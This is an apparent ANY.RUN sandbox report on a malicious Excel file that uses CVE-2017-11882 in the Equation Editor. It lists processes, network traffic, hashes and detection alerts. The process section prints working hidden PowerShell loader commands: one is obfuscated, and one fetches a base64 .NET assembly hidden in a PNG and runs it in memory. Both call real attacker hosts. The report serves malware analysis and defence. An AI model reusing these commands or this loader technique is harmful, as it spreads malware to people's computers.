File name:

facturas y datos bancarios.xla

Full analysis: https://app.any.run/tasks/5aefa20f-e882-4686-97bd-a865ec0ad41f
Verdict: Malicious activity
Analysis date: July 26, 2023, 23:13:04
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
exploit
cve-2017-11882
Indicators:
MIME: application/vnd.ms-excel
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 00:00:00 2006, Last Saved Time/Date: Wed Jul 26 15:04:57 2023, Security: 1
MD5:

BE69059CCBD400B9F75FFFECF99E1799

SHA1:

28076492F35DDC6FA50679998D6473E52C182017

SHA256:

CDCC995115865996FC00024D4453AA7A3B6279D5295CEFF3CA9A0C0CA71E6397

SSDEEP:

24576:nWQmmav30x9gw6sGu9VtB057+rVCYXgPCXaVWNu:WQmmQ30r76sGuF+7+rVPwqqVmu

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Connection from MS Office application

      • WINWORD.EXE (PID: 3532)
      • EXCEL.EXE (PID: 1000)

    • Suspicious connection from the Equation Editor

      • EQNEDT32.EXE (PID: 3360)

    • Equation Editor starts application (CVE-2017-11882)

      • EQNEDT32.EXE (PID: 3360)

    • Run PowerShell with an invisible window

      • powershell.exe (PID: 2980)
      • powershell.exe (PID: 3404)

    • Changes powershell execution policy

      • wscript.exe (PID: 240)
      • powershell.exe (PID: 2980)

  • SUSPICIOUS

    • Connects to the server without a host name

      • WINWORD.EXE (PID: 3532)
      • EXCEL.EXE (PID: 1000)
      • EQNEDT32.EXE (PID: 3360)

    • Reads the Internet Settings

      • EQNEDT32.EXE (PID: 3360)
      • wscript.exe (PID: 240)
      • powershell.exe (PID: 3404)

    • The process executes VB scripts

      • EQNEDT32.EXE (PID: 3360)

    • Probably obfuscated PowerShell command line is found

      • wscript.exe (PID: 240)

    • The process bypasses the loading of PowerShell profile settings

      • wscript.exe (PID: 240)
      • powershell.exe (PID: 2980)

    • Starts POWERSHELL.EXE for commands execution

      • wscript.exe (PID: 240)
      • powershell.exe (PID: 2980)

    • Probably download files using WebClient

      • powershell.exe (PID: 2980)

    • Unusual connection from system programs

      • powershell.exe (PID: 3404)

    • The Powershell connects to the Internet

      • powershell.exe (PID: 3404)

    • Application launched itself

      • powershell.exe (PID: 2980)

  • INFO

    • Checks supported languages

      • EQNEDT32.EXE (PID: 3360)

    • Reads the computer name

      • EQNEDT32.EXE (PID: 3360)

    • Reads the machine GUID from the registry

      • EQNEDT32.EXE (PID: 3360)

    • The process checks LSA protection

      • EQNEDT32.EXE (PID: 3360)

    • Creates files or folders in the user directory

      • EQNEDT32.EXE (PID: 3360)

    • Checks proxy server information

      • EQNEDT32.EXE (PID: 3360)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.xls | Microsoft Excel sheet (41.9)

EXIF

FlashPix

CompObjUserType: Microsoft Office Excel 2003 Worksheet
CompObjUserTypeLen: 38
HeadingPairs:
  • Worksheets
  • 3
TitleOfParts:
  • Sheet1
  • Sheet2
  • Sheet3
HyperlinksChanged: No
SharedDoc: No
LinksUpToDate: No
ScaleCrop: No
AppVersion: 12
CodePage: Windows Latin 1 (Western European)
Security: Password protected
ModifyDate: 2023:07:26 15:04:57
CreateDate: 2006:09:16 00:00:00
Software: Microsoft Excel
LastModifiedBy: -
Author: -
No data.
screenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
48
Monitored processes
6
Malicious processes
3
Suspicious processes
3

Behavior graph

Click at the process to see the details
start excel.exe winword.exe eqnedt32.exe wscript.exe no specs powershell.exe no specs powershell.exe

Process information

PID
CMD
Path
Indicators
Parent process
240"C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Roaming\system32.vbs" C:\Windows\System32\wscript.exe—EQNEDT32.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.8.7600.16385
Modules
Images
c:\windows\system32\wscript.exe
c:\windows\system32\advapi32.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\ntdll.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\user32.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\lpk.dll
1000"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /ddeC:\Program Files\Microsoft Office\Office14\EXCEL.EXE
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Excel
Exit code:
0
Version:
14.0.6024.1000
Modules
Images
c:\program files\microsoft office\office14\excel.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\sechost.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
2980"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J⁂Bp⁂G0⁂YQBn⁂GU⁂VQBy⁂Gw⁂I⁂⁂9⁂C⁂⁂JwBo⁂HQ⁂d⁂Bw⁂HM⁂Og⁂v⁂C8⁂YwBk⁂G4⁂LgBw⁂Gk⁂e⁂Bl⁂Gw⁂YgBp⁂G4⁂LgBp⁂G8⁂LwB2⁂DI⁂LwBm⁂Gw⁂YQB0⁂C0⁂dwBh⁂HY⁂ZQ⁂t⁂GY⁂Mw⁂3⁂D⁂⁂Ng⁂w⁂C8⁂bwBy⁂Gk⁂ZwBp⁂G4⁂YQBs⁂C8⁂cgB1⁂G0⁂c⁂Bf⁂H⁂⁂cgBp⁂HY⁂YQBk⁂GE⁂LgBw⁂G4⁂Zw⁂n⁂Ds⁂J⁂B3⁂GU⁂YgBD⁂Gw⁂aQBl⁂G4⁂d⁂⁂g⁂D0⁂I⁂BO⁂GU⁂dw⁂t⁂E8⁂YgBq⁂GU⁂YwB0⁂C⁂⁂UwB5⁂HM⁂d⁂Bl⁂G0⁂LgBO⁂GU⁂d⁂⁂u⁂Fc⁂ZQBi⁂EM⁂b⁂Bp⁂GU⁂bgB0⁂Ds⁂J⁂Bp⁂G0⁂YQBn⁂GU⁂QgB5⁂HQ⁂ZQBz⁂C⁂⁂PQ⁂g⁂CQ⁂dwBl⁂GI⁂QwBs⁂Gk⁂ZQBu⁂HQ⁂LgBE⁂G8⁂dwBu⁂Gw⁂bwBh⁂GQ⁂R⁂Bh⁂HQ⁂YQ⁂o⁂CQ⁂aQBt⁂GE⁂ZwBl⁂FU⁂cgBs⁂Ck⁂Ow⁂k⁂Gk⁂bQBh⁂Gc⁂ZQBU⁂GU⁂e⁂B0⁂C⁂⁂PQ⁂g⁂Fs⁂UwB5⁂HM⁂d⁂Bl⁂G0⁂LgBU⁂GU⁂e⁂B0⁂C4⁂RQBu⁂GM⁂bwBk⁂Gk⁂bgBn⁂F0⁂Og⁂6⁂FU⁂V⁂BG⁂Dg⁂LgBH⁂GU⁂d⁂BT⁂HQ⁂cgBp⁂G4⁂Zw⁂o⁂CQ⁂aQBt⁂GE⁂ZwBl⁂EI⁂eQB0⁂GU⁂cw⁂p⁂Ds⁂J⁂Bz⁂HQ⁂YQBy⁂HQ⁂RgBs⁂GE⁂Zw⁂g⁂D0⁂I⁂⁂n⁂Dw⁂P⁂BC⁂EE⁂UwBF⁂DY⁂N⁂Bf⁂FM⁂V⁂BB⁂FI⁂V⁂⁂+⁂D4⁂Jw⁂7⁂CQ⁂ZQBu⁂GQ⁂RgBs⁂GE⁂Zw⁂g⁂D0⁂I⁂⁂n⁂Dw⁂P⁂BC⁂EE⁂UwBF⁂DY⁂N⁂Bf⁂EU⁂TgBE⁂D4⁂Pg⁂n⁂Ds⁂J⁂Bz⁂HQ⁂YQBy⁂HQ⁂SQBu⁂GQ⁂ZQB4⁂C⁂⁂PQ⁂g⁂CQ⁂aQBt⁂GE⁂ZwBl⁂FQ⁂ZQB4⁂HQ⁂LgBJ⁂G4⁂Z⁂Bl⁂Hg⁂TwBm⁂Cg⁂J⁂Bz⁂HQ⁂YQBy⁂HQ⁂RgBs⁂GE⁂Zw⁂p⁂Ds⁂J⁂Bl⁂G4⁂Z⁂BJ⁂G4⁂Z⁂Bl⁂Hg⁂I⁂⁂9⁂C⁂⁂J⁂Bp⁂G0⁂YQBn⁂GU⁂V⁂Bl⁂Hg⁂d⁂⁂u⁂Ek⁂bgBk⁂GU⁂e⁂BP⁂GY⁂K⁂⁂k⁂GU⁂bgBk⁂EY⁂b⁂Bh⁂Gc⁂KQ⁂7⁂CQ⁂cwB0⁂GE⁂cgB0⁂Ek⁂bgBk⁂GU⁂e⁂⁂g⁂C0⁂ZwBl⁂C⁂⁂M⁂⁂g⁂C0⁂YQBu⁂GQ⁂I⁂⁂k⁂GU⁂bgBk⁂Ek⁂bgBk⁂GU⁂e⁂⁂g⁂C0⁂ZwB0⁂C⁂⁂J⁂Bz⁂HQ⁂YQBy⁂HQ⁂SQBu⁂GQ⁂ZQB4⁂Ds⁂J⁂Bz⁂HQ⁂YQBy⁂HQ⁂SQBu⁂GQ⁂ZQB4⁂C⁂⁂Kw⁂9⁂C⁂⁂J⁂Bz⁂HQ⁂YQBy⁂HQ⁂RgBs⁂GE⁂Zw⁂u⁂Ew⁂ZQBu⁂Gc⁂d⁂Bo⁂Ds⁂J⁂Bi⁂GE⁂cwBl⁂DY⁂N⁂BM⁂GU⁂bgBn⁂HQ⁂a⁂⁂g⁂D0⁂I⁂⁂k⁂GU⁂bgBk⁂Ek⁂bgBk⁂GU⁂e⁂⁂g⁂C0⁂I⁂⁂k⁂HM⁂d⁂Bh⁂HI⁂d⁂BJ⁂G4⁂Z⁂Bl⁂Hg⁂Ow⁂k⁂GI⁂YQBz⁂GU⁂Ng⁂0⁂EM⁂bwBt⁂G0⁂YQBu⁂GQ⁂I⁂⁂9⁂C⁂⁂J⁂Bp⁂G0⁂YQBn⁂GU⁂V⁂Bl⁂Hg⁂d⁂⁂u⁂FM⁂dQBi⁂HM⁂d⁂By⁂Gk⁂bgBn⁂Cg⁂J⁂Bz⁂HQ⁂YQBy⁂HQ⁂SQBu⁂GQ⁂ZQB4⁂Cw⁂I⁂⁂k⁂GI⁂YQBz⁂GU⁂Ng⁂0⁂Ew⁂ZQBu⁂Gc⁂d⁂Bo⁂Ck⁂Ow⁂k⁂GM⁂bwBt⁂G0⁂YQBu⁂GQ⁂QgB5⁂HQ⁂ZQBz⁂C⁂⁂PQ⁂g⁂Fs⁂UwB5⁂HM⁂d⁂Bl⁂G0⁂LgBD⁂G8⁂bgB2⁂GU⁂cgB0⁂F0⁂Og⁂6⁂EY⁂cgBv⁂G0⁂QgBh⁂HM⁂ZQ⁂2⁂DQ⁂UwB0⁂HI⁂aQBu⁂Gc⁂K⁂⁂k⁂GI⁂YQBz⁂GU⁂Ng⁂0⁂EM⁂bwBt⁂G0⁂YQBu⁂GQ⁂KQ⁂7⁂CQ⁂b⁂Bv⁂GE⁂Z⁂Bl⁂GQ⁂QQBz⁂HM⁂ZQBt⁂GI⁂b⁂B5⁂C⁂⁂PQ⁂g⁂Fs⁂UwB5⁂HM⁂d⁂Bl⁂G0⁂LgBS⁂GU⁂ZgBs⁂GU⁂YwB0⁂Gk⁂bwBu⁂C4⁂QQBz⁂HM⁂ZQBt⁂GI⁂b⁂B5⁂F0⁂Og⁂6⁂Ew⁂bwBh⁂GQ⁂K⁂⁂k⁂GM⁂bwBt⁂G0⁂YQBu⁂GQ⁂QgB5⁂HQ⁂ZQBz⁂Ck⁂Ow⁂k⁂HQ⁂eQBw⁂GU⁂I⁂⁂9⁂C⁂⁂J⁂Bs⁂G8⁂YQBk⁂GU⁂Z⁂BB⁂HM⁂cwBl⁂G0⁂YgBs⁂Hk⁂LgBH⁂GU⁂d⁂BU⁂Hk⁂c⁂Bl⁂Cg⁂JwBG⁂Gk⁂YgBl⁂HI⁂LgBI⁂G8⁂bQBl⁂Cc⁂KQ⁂7⁂CQ⁂bQBl⁂HQ⁂a⁂Bv⁂GQ⁂I⁂⁂9⁂C⁂⁂J⁂B0⁂Hk⁂c⁂Bl⁂C4⁂RwBl⁂HQ⁂TQBl⁂HQ⁂a⁂Bv⁂GQ⁂K⁂⁂n⁂FY⁂QQBJ⁂Cc⁂KQ⁂7⁂CQ⁂YQBy⁂Gc⁂dQBt⁂GU⁂bgB0⁂HM⁂I⁂⁂9⁂C⁂⁂L⁂⁂o⁂Cc⁂d⁂B4⁂HQ⁂LgBu⁂Gk⁂dwBh⁂HM⁂aQBu⁂Gk⁂dwBh⁂C8⁂Mw⁂0⁂C4⁂Ng⁂2⁂C4⁂O⁂⁂4⁂C4⁂NQ⁂0⁂C8⁂Lw⁂6⁂H⁂⁂d⁂B0⁂Gg⁂Jw⁂p⁂Ds⁂J⁂Bt⁂GU⁂d⁂Bo⁂G8⁂Z⁂⁂u⁂Ek⁂bgB2⁂G8⁂awBl⁂Cg⁂J⁂Bu⁂HU⁂b⁂Bs⁂Cw⁂I⁂⁂k⁂GE⁂cgBn⁂HU⁂bQBl⁂G4⁂d⁂Bz⁂Ck⁂';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('⁂','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxDC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—wscript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
1
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\kernel32.dll
c:\windows\system32\ntdll.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
3360"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -EmbeddingC:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
svchost.exe
User:
admin
Company:
Design Science, Inc.
Integrity Level:
MEDIUM
Description:
Microsoft Equation Editor
Exit code:
0
Version:
00110900
Modules
Images
c:\program files\common files\microsoft shared\equation\eqnedt32.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
3404"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypss -NoProfile -command "$imageUrl = 'https://cdn.pixelbin.io/v2/flat-wave-f37060/original/rump_privada.png';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI');$arguments = ,('txt.niwasiniwa/34.66.88.54//:ptth');$method.Invoke($null, $arguments)"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
1
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\kernel32.dll
c:\windows\system32\ntdll.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\sechost.dll
c:\windows\system32\lpk.dll
3532"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" -EmbeddingC:\Program Files\Microsoft Office\Office14\WINWORD.EXE
svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Exit code:
0
Version:
14.0.6024.1000
Modules
Images
c:\windows\system32\ntdll.dll
c:\program files\microsoft office\office14\winword.exe
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
c:\windows\system32\gdi32.dll
Total events
5 489
Read events
5 047
Write events
401
Delete events
41

Modification events

(PID) Process:(1000) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
On
(PID) Process:(1000) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1041
Value:
On
(PID) Process:(1000) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1046
Value:
On
(PID) Process:(1000) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1036
Value:
On
(PID) Process:(1000) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1031
Value:
On
(PID) Process:(1000) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1040
Value:
On
(PID) Process:(1000) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1049
Value:
On
(PID) Process:(1000) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:3082
Value:
On
(PID) Process:(1000) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1042
Value:
On
(PID) Process:(1000) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1055
Value:
On
Executable files
1
Suspicious files
19
Text files
6
Unknown types
0

Dropped files

PID
Process
Filename
Type
1000EXCEL.EXEC:\Users\admin\AppData\Local\Temp\CVR9424.tmp.cvr —
MD5:—
SHA256:—
3532WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR9FBC.tmp.cvr —
MD5:—
SHA256:—
3532WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSD-CNRY.FSDbinary
MD5:8878D7DC2FC6472CEAC51CD2022AAF33
SHA256:AE7185525A904371C0B5E97D60D86EE58FF296DE61A3B1F6B98CA59BE89996F1
1000EXCEL.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\D9268C95.emfemf
MD5:35E141964E2698FC12D087516D116C9A
SHA256:6A3A2ADDC5D6B554EED64B7C24B699E09BCF019E4F42AB14EC6D40C7CB749538
3532WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\LocalCacheFileEditManager\FSD-{73501F80-7776-4D1A-9022-43E69A2A187B}.FSDbinary
MD5:5E2537FBFA83E89F694795A9D541BD77
SHA256:2EAE521479B965C6544B2A2914A8554FF4B343F04A3BB6795A39150B47E9B04E
3532WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\977C6A30.doctext
MD5:68CEA38DF9A7AE208E8FE8C5DFF75154
SHA256:45E9ED9C6F4A566E55901E577BCF80F93F302A6A3C3CD413082EFE1267FE15F7
3532WINWORD.EXEC:\Users\admin\AppData\Local\Temp\{9B118F3C-8F77-453A-8508-7C07DD8F2235}binary
MD5:1F1910FCD27C3957F628D44A084D5AC5
SHA256:95BF6F10E885E1F54D0A3D88EC8DED51D23262A92F73637F54C2BFF85354B67F
1000EXCEL.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\0NFUUAY0\DeeeeeeeeeeeeeeeIDIDDIDIDI##############dEEEEEEEEEEEE####SISIDDIDIDSDSIDISDIISIDIDISD[1].doctext
MD5:68CEA38DF9A7AE208E8FE8C5DFF75154
SHA256:45E9ED9C6F4A566E55901E577BCF80F93F302A6A3C3CD413082EFE1267FE15F7
3532WINWORD.EXEC:\Users\admin\AppData\Local\Temp\{2C40B36F-C37E-46B1-95BF-186C1A96DCAB}binary
MD5:8878D7DC2FC6472CEAC51CD2022AAF33
SHA256:AE7185525A904371C0B5E97D60D86EE58FF296DE61A3B1F6B98CA59BE89996F1
3360EQNEDT32.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\VMVS5R9B\systems[1].vbstext
MD5:7D5B541344E3A34FDB489ECB8F425FD3
SHA256:5CE9A1C72C4E631FFBF0D6F453BF5E22EB448D8C640B2B88F0257D4DE9AC0886
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
15
TCP/UDP connections
12
DNS requests
1
Threats
8

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3532
WINWORD.EXE
OPTIONS
200
192.3.243.150:80
http://192.3.243.150/IIBO/
US
—
—
suspicious
3532
WINWORD.EXE
HEAD
200
192.3.243.150:80
http://192.3.243.150/IIBO/DeeeeeeeeeeeeeeeIDIDDIDIDI%23%23%23%23%23%23%23%23%23%23%23%23%23%23dEEEEEEEEEEEE%23%23%23%23SISIDDIDIDSDSIDISDIISIDIDISD.DOC
US
—
—
suspicious
3532
WINWORD.EXE
HEAD
200
192.3.243.150:80
http://192.3.243.150/IIBO/DeeeeeeeeeeeeeeeIDIDDIDIDI%23%23%23%23%23%23%23%23%23%23%23%23%23%23dEEEEEEEEEEEE%23%23%23%23SISIDDIDIDSDSIDISDIISIDIDISD.DOC
US
—
—
suspicious
1000
EXCEL.EXE
GET
200
192.3.243.150:80
http://192.3.243.150/IIBO/DeeeeeeeeeeeeeeeIDIDDIDIDI%23%23%23%23%23%23%23%23%23%23%23%23%23%23dEEEEEEEEEEEE%23%23%23%23SISIDDIDIDSDSIDISDIISIDIDISD.DOC
US
text
23.8 Kb
suspicious
832
svchost.exe
PROPFIND
405
192.3.243.150:80
http://192.3.243.150/IIBO/
US
html
329 b
suspicious
832
svchost.exe
PROPFIND
405
192.3.243.150:80
http://192.3.243.150/IIBO/
US
html
329 b
suspicious
832
svchost.exe
PROPFIND
301
192.3.243.150:80
http://192.3.243.150/IIBO
US
html
338 b
suspicious
832
svchost.exe
PROPFIND
405
192.3.243.150:80
http://192.3.243.150/dashboard/
US
html
329 b
suspicious
832
svchost.exe
OPTIONS
301
192.3.243.150:80
http://192.3.243.150/IIBO
US
html
338 b
suspicious
832
svchost.exe
OPTIONS
200
192.3.243.150:80
http://192.3.243.150/IIBO/
US
html
338 b
suspicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2720
svchost.exe
239.255.255.250:1900
—
—
—
whitelisted
4
System
192.168.100.255:137
—
—
—
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
1084
svchost.exe
224.0.0.252:5355
—
—
—
unknown
832
svchost.exe
192.3.243.150:80
—
AS-COLOCROSSING
US
suspicious
1000
EXCEL.EXE
192.3.243.150:80
—
AS-COLOCROSSING
US
suspicious
3360
EQNEDT32.EXE
192.3.243.150:80
—
AS-COLOCROSSING
US
suspicious
3532
WINWORD.EXE
192.3.243.150:80
—
AS-COLOCROSSING
US
suspicious
3404
powershell.exe
13.224.189.127:443
cdn.pixelbin.io
AMAZON-02
US
unknown

DNS requests

Domain
IP
Reputation
cdn.pixelbin.io
  • 13.224.189.127
  • 13.224.189.59
  • 13.224.189.94
  • 13.224.189.61
suspicious

Threats

PID
Process
Class
Message
1000
EXCEL.EXE
Potentially Bad Traffic
ET INFO Dotted Quad Host DOC Request
1000
EXCEL.EXE
Potentially Bad Traffic
ET HUNTING Suspicious Request for Doc to IP Address with Terse Headers
3532
WINWORD.EXE
Potentially Bad Traffic
ET INFO Dotted Quad Host DOC Request
3532
WINWORD.EXE
Misc activity
ET USER_AGENTS Microsoft Office Existence Discovery User-Agent
1000
EXCEL.EXE
Potentially Bad Traffic
ET INFO Possible RTF File With Obfuscated Version Header
3532
WINWORD.EXE
Potentially Bad Traffic
ET INFO Dotted Quad Host DOC Request
3360
EQNEDT32.EXE
Potentially Bad Traffic
ET INFO Dotted Quad Host VBS Request
3360
EQNEDT32.EXE
A Network Trojan was detected
SUSPICIOUS [ANY.RUN] VBS is used to run Shell
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2026 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
facturas y datos bancarios.xla